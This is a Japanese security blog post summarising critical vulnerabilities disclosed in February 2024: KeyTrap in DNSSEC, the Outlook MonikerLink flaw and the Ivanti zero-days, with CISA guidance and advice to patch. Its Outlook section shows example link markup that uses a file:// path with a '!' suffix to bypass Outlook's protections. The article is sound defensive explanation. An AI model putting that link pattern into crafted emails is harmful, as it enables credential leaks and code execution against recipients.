1. HOME
  2. ブログ
  3. 2024年2月版 最速!危険度の高い脆弱性をいち早く解説「脆弱性研究所」第19回

2024年2月版 最速!危険度の高い脆弱性をいち早く解説「脆弱性研究所」第19回

2月に公開された重大な脆弱性(CISA KEV参照)

2月に新たに公開された脆弱性の中で特に重大な脆弱性をいくつかピックアップして説明したいと思います。

第三回で説明したCISAによる「実際に悪用されている脆弱性(Known Exploited Vulnerabilities Catalog)」のデータベース情報もあわせて載せています。

2月にCISAのKEVに登録された脆弱性はトータル11件で、内訳は

  • Microsoft: 4件
  • Cisco: 1件
  • ConnectWise: 1件
  • Fortinet: 1件
  • Google: 1件

になっています。 ちなみに、CISA KEV Catalogは見た目が変わっており、昔よりは一覧性は低くなっていますが、どのようなランサムウェアグループに悪用されたかなどの情報が付加されています(下図の赤線による囲み)。

参考情報

  1. CISA「Known Exploited Vulnerabilities Catalog」

1. 「KeyTrap」脆弱性 (CVE-2023-50387)

2月14日に「DNSに対する最悪の攻撃」と言われる「KeyTrap」脆弱性(CVE-2023-50387)が公開されました。BIND9やUnbound、PowerDNSなど多くのDNS実装で修正が出ています。こちらの「KeyTrap」脆弱性を簡単に見ていきます。

一次情報源

CVE情報

公開されたCVEは以下になります。

  • CVE-2023-50387
    • CVSS
      • Base Score: 7.3 HighVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    • 概要
      • 特別に細工されたDNSSEC署名されたゾーンの応答処理により、DNSSEC検証で巨大なCPUが消費されます。
      • 攻撃者はこの欠陥を悪用したクエリを、ターゲットのリゾルバに大量に送信することで、リゾルバのパフォーマンスを大幅に低下させ、正規のクライアントによるDNS解決サービスへのアクセスを事実上拒否させることができる可能性があります。

脆弱性の詳細

DNSSEC(Domain Name System Security Extensions: DNSに対して、データ作成元の認証やデータの完全性を確認できるように仕様を拡張するもの)のアルゴリズムでは、Postel の法則(ロバストネス原則)にある「貴方が自分ですることに関しては厳密に、貴方が他人から受けることに関しては寛容に」に従って、リソースレコードセット(RRset)を検証する際には、検証を行うDNSリゾルバがすべての可能なキー や署名を試行することを義務付けています(RFC4035)(RFC6840)。

これにより、DNSSECで提供されているものがDNSレコードの信頼性の検証に使用できない場合 (たとえばキーの構成が間違っている場合や古い場合など) であっても、可用性が確保されます。

今回発見された脆弱性は、逆にこれを悪用して1つのパケットのみでCPU命令数が2百万倍のスパイクを起こす可能性があります。リゾルバの停止時間は最大で16時間程度になることが実験で示されています。この脆弱性は、いくつかのDNSSECの推奨事項を組み合わせると、強力な攻撃ベクトルとして悪用される可能性があることもわかりました。

1.   キータグの衝突

DNSSECでは特定ゾーンで複数のキーを許可しています。その場合には、キータグ値を用いてキーを区別しており、(ゾーン名、アルゴリズム、 キータグ値)の3セットが署名に追加されています。リゾルバが署名を検証するときには、署名ヘッダーをチェックして、検証のために一致する3セットを持つキーを選択します。ただし、トリプルは必ずしも一意である必要はありません。複数の異なる DNS キーが同一のトリプルを持つ可能性があります。

アルゴリズムIDとキー名のペアの衝突はよくあることですが、キータグに対しても可能性は低いものの、DNSSECで自然に発生する可能性があります。 これは [RFC4034]の「8.  セキュリティに関する考慮点」でも説明されていて、キータグが一意の識別子ではないことが強調されています。このキータグの衝突を悪用すると、リゾルバが適切なキーを効率的に識別できなくなり、利用可能なすべてのキーを使用して検証を実行する必要が生じ、署名検証中に計算量が増加します。

2.   複数の鍵

DNSSECの仕様では先述の通り、可用性の確保のために、リゾルバが「署名の検証に成功する鍵が見つかるまで or すべての鍵が試行されるまで」、すべての鍵を試行する必要があると規定しています。一部の鍵が検証に失敗したり、鍵の衝突が発生した場合でも、リゾルバは成功する鍵が見つかるまですべての鍵を使用して検証を試みる必要があります。この検証の数は衝突する鍵の量に比例して増加するため、リゾルバで多大な計算を行わなくてはならない可能性があります。

たとえば、署名に10個の衝突する鍵があり、そのすべてが無効だった場合、署名が無効であるとわかる前に10回の検証を実行する必要があります。そのため、攻撃者が「複数の鍵が衝突するような効率の良いレコード」を作成すると、リゾルバが大量の計算を行わなくてはなりません。

3.   複数の署名

2番目の問題と同じことが署名の検証にも当てはまります。 特定の DNS レコードに対して複数の署名を作成することは、鍵の更新中などに発生する可能性があります。 DNS サーバーは新しい鍵を使用して署名を追加しますが、新しい鍵が伝播されるまで古い署名は保持します。

RFCでは鍵の場合と同様に、同じレコードに複数の署名がある場合、リゾルバは有効な署名が見つかるまで、またはすべての署名が試行されるまで、受信したすべての署名を試行する必要があると規定しています。鍵と同様に、これも組み合わせることで、リゾルバに大量の計算をさせることができます。

今回の脆弱性を発見した研究者らは、署名と鍵の検証のためのこれらの要件と、衝突するキータグの組み合わせで効率的な攻撃を開発しました。この攻撃により、攻撃者が1回のDNSリクエストで最大 16 時間にわたってDNSリゾルバを完全にDoS状態にできました。そのため、DNS/DNSSEC の主要な通信事業者、ベンダー、開発者からなる 31 人の参加者タスクフォースのメンバーが、この攻撃を「DNSSEC でこれまでに発見された中で最も壊滅的な脆弱性」と名付けています。

脆弱性の影響

多くのDNS実装がこの脆弱性の影響を受けています。下記が、研究者たちが実際に脆弱性の有無を確認した一覧になっています。

名前脆弱性参照
Akamai Cache Serverhttps://www.akamai.com/blog/security/dns-exploit-keytrap-posed-major-internet-threat
BIND 9https://kb.isc.org/v1/docs/cve-2023-50387
Knot Resolverhttps://www.knot-resolver.cz/2024-02-13-knot-resolver-5.7.1.html
PowerDNShttps://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-2024-01.html
Unboundhttps://nlnetlabs.nl/news/2024/Feb/13/unbound-1.19.1-released/
Windows Server 2022https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-50387
Windows Server 2019https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-50387
unWind (OpenBSD 7.3) 
Technitium 
dnsmasq 2.80https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2024q1/017430.html
stubby 0.4.3 
Cloudflare 
Google 
OpenDNS 
Quad9 
dig 9.16.1DNSSEC検証機構なし
kdig 2.7.8DNSSEC検証機構なし
delv 9.16.1 
DNSViz 0.9.4 
ldns-verify-zone 
kzonecheck 
named-checkzone署名検証機構なし
dnspython 
getdns 
ldns 
libunbound 

参考情報

  1. KeyTrap: Serious Vulnerability in the Internet Infrastructure
  2. The KeyTrap Denial-of-Service Algorithmic Complexity Attacks on DNS Version: January 2024(PDF)

2. Outlookの脆弱性(MONIKER LINK : CVE-2024-21413)

2024年2月のMicrosoft Security Updateには、OutlookのRCE脆弱性(MONIKER LINK)が含まれていました。こちらですが、CVSS Scoreが9.8 Criticalとなり、悪用される可能性があります。この脆弱性を簡単に見ていきます。

一次情報源

CVE情報

公開されたCVEは以下になります。

  • CVE-2024-21413
    • CVSS
      • Base Score: 9.8 / Temporal 8.5
      • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
    • 概要
      • Outlookのリモートコード実行脆弱性になります。

脆弱性の詳細

ハイパーリンクが「http://」または「https://」で始まっている場合には、それをWebリンクであると認識してOutlookが起動し、 Windows 上の (デフォルト) ブラウザーを使用して、Web URL を開きます。 では、これが「http」「https」でない場合には、どうなるか(きちんと動くのか)という疑問が出てくると思います。たとえばリンク文字列が

*<a href=”skype:SkypeName?call”>Call me on Skype</a>*

の様にSkypeのURLなどだった場合には、セキュリティ上の問題があるとOutlookが判断し、「Microsoft Outlook Security Notice」として下記のようなエラーが出ます。

また、

*<a href=”file:///\\10.10.111.111\test\test.rtf”>CLICK ME</a>*

のようにfile://プロトコルがURLになっていた場合には

のようにエラーが出てきて、

リモート(10.10.111.111)上のtest.rtfファイルにはアクセスできません。

MONIKER LINKのバグ

ここで、リンクとして

*<a href=”file:///\\10.10.111.111\test\test.rtf!something”>CLICK ME</a>*

のようにOpenするドキュメントのfile://プロトコルのファイル名の後ろに「!」が付加された場合には、前述の既存のOutlook セキュリティ制限を回避します。そのため、ユーザーがリンクをクリックすると、Outlook はリモートリソース「\\10.10.111.111\test\test.rtf」にアクセスし続けます。

この脆弱性を発見したCheckPointの研究者による調査では、Outlookがリンクを「Moniker Link」として扱われているそうです。「Moniker Link」文字列は、呼び出し元がその文字列を使用して COM オブジェクトを「検索」することを意味します。  

上記の例では、FileMoniker + ItemsMoniker を含む複合Monikerの場合、拡張子名が「.rtf」であるため、Microsoft Wordを呼び出して実行して、Moniker Linkが指すCOMオブジェクトを「検索」します。 Wordは、適切に設計されたCOMベースのアプリケーションです。上記の例では基本的に以下のような流れになります。

  1. Windows は、Microsoft WordをバックグラウンドでCOMサーバーとして実行します (通常の Word UI は表示されません)。
  2. Wordはバックグラウンドで、文字列「\\10.10.111.111\test\test.rtf」に基づいて、FileMonikerが指すファイル「test.rtf」を開いて解析します。 その後、文字列「something」に基づいて、ItemsMonikerが指すオブジェクトを検索しようとします。

ここでWordは、攻撃者が管理するサーバー上の攻撃者によって制御されている「test.rtf」ファイルを開いて解析します。Wordがtest.rtファイルを解析する (COM サーバーとして実行される) プロセス中に、コード実行が仕掛けられるような特別なファイルを用意しておけば、これでリンクをクリックしたことによるコードの実行を誘発できます。

PoC

PoCそのものは公開されていませんが、実際にテストコードで実行した結果は一次情報源のCheckPointブログで見ることができます。

参考情報

  1. Microsoftによるアドバイザリ
  2. The Risks of the #MonikerLink Bug in Microsoft Outlook and the Big Picture

3. Ivantiの脆弱性(CVE-2023-46805, CVE-2024-21887)。CISAも注意喚起

Ivanti Connect Secure / Ivanti Policy Secure Gatewaysに2つのゼロデイ脆弱性(CVE-2023-46805 (Authentication Bypass) , CVE-2024-21887 (Command Injection))が出ました。これらの脆弱性に関してはCISAも今年最初の緊急司令(ED 24-01)を出しています。以下この脆弱性について触れてみたいと思います。

一次情報源

CVE情報

CVE情報の詳細は以下になります。

  • CVE-2023-46805
    • CVSS
      • Base Score: 8.2 High
      • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    • Ivanti Connect Secure(9.x, 22.x)および Ivanti Policy SecureのWebコンポーネントに認証バイパスの脆弱性があり、リモート攻撃者が制御チェックをバイパスして制限されたリソースにアクセスできます。
  • CVE-2024-21887
    • CVSS
      • Base Score: 9.1 Critical
      • Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    • Ivanti Connect Secure(9.x, 22.x)および Ivanti Policy SecureのWebコンポーネントにコマンドインジェクションの脆弱性があり、認証された管理者が特別に細工されたリクエストを送信することでアプライアンス上で任意のコマンドを実行することができます。 この脆弱性はインターネット経由で悪用される可能性があります。

CISAの対応

CISA は1月19日に、今年最初の緊急指令(Emergency Directive Order)ED 24-01として、この脆弱性に関する緩和策を出しています。

この文書によると、CISAではこの脆弱性が広範かつ積極的に悪用されているのを観察し、

「複数の攻撃者による広範な脆弱性悪用、連邦政府機関内での影響を受ける製品の蔓延、政府機関の情報システムが侵害される可能性の高さ、侵害が成功した場合の影響、および提案された緩和策の複雑性に基づいて、これらの状況が連邦一般行政府 (Federal Civilian Executive Branch: FCEB)の機関に許容できないリスクをもたらしており、緊急措置が必要であると判断した」

とのことです。

そのため、連邦政府期間に対し

  1. Ivantiの指示に従い、遅くとも2024年2月22日の午後11時59分(EST)までに、Ivanti のダウンロード ポータル経由で「mitigation.release.20240107.1.xml」をダウンロードし、影響を受ける製品にインポートすること。
  2. XMLファイルをインポートした直後に、Ivantiの外部整合性チェッカーツールをダウンロードして実行して確認すること。
  3. 侵害の兆候が検出された場合には
    1.  central@cisa.dhs.govを通じて CISA に直ちに報告すること
    2. 侵害された製品をネットワークから切り離すこと
    3. 侵害された製品をネットワークに戻すときは、工場出荷状態にリセットして先述のXMLファイルをインポートしてから戻すこと

等を要求しています。また、侵害された全ての製品に関しては

  1. 保存されている証明書
  2. 管理者のパスワード
  3. 保存されているAPIキー
  4. ローカルユーザのパスワード

などをすべて取り消して再発行するように求めています。

参考情報

  1. KB CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways
  2. CISA:  ED 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities

2月のまとめ

2024年も始まったばかりですが、2月も各社から脆弱性に関する情報が出ています。今回取り上げた脆弱性はもちろんですが、他にも既に悪用が試みられている脆弱性が公開されています。皆様も使用ベンダーからの情報に気をつけて、きちんと更新を行うように気をつけてください。


<著者> 面 和毅
サイオステクノロジー株式会社 上席執行役員
OSS/セキュリティエバンジェリスト

OSSのセキュリティ専門家として20年近くの経験があり、主にOS系のセキュリティに関しての執筆や講演を行う。大手ベンダーや外資系、ユーザー企業などでさまざまな立場を経験。
2015年からサイオステクノロジーのOSS/セキュリティエバンジェリストとして活躍中。また、ヒートウェーブ株式会社でも講師として活動中。
専門分野はSELinuxを含むOSのアクセス制御、AntiVirus、SIEM、脅威インテリジェンス。

「脆弱性研究所」の最新話は、メールマガジンにてもご案内致しています。是非JAPANSecuritySummit Updateのメールマガジンにご登録ください。
メールマガジンの登録はこちらからお願いします

最速! 危険度の高い脆弱性をいち早く解説「脆弱性研究所」の過去の記事はこちらから

関連記事

サイバーセキュリティの課題をテーマ別に紹介中!!